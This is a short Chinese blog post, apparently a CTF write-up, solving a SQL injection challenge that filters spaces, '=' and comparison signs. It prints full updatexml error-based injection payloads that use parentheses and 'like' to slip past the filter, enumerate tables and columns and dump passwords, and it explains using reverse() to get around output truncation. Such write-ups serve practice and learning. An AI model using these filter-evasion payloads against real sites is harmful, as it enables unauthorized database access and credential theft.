复习手痒做道题
sql注入
过滤了空格 等号 大于号小于号
可以用updatexml报错注入
like代替等号 用括号括起来就可以无空格

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=admin'

表名:H4rDsq1
单引号还在 直接用

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

列名:id,username,password
查密码

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=admin

因为updatexml回显只能有32位
不能输出完整的flag
这里有两个解决方法
一个是用mid或者substr截取字符串,还有一个是用reverse输出
因为字符串截取函数被过滤了
所以再用reverse输出一下 然后拼到一起得到flag
做完之后看了眼别的师傅的wp
有的师傅用的布尔值盲注
不会外连接 打扰了打扰了

分类: 技术

0 条评论

发表评论

邮箱地址不会被公开。 必填项已用*标注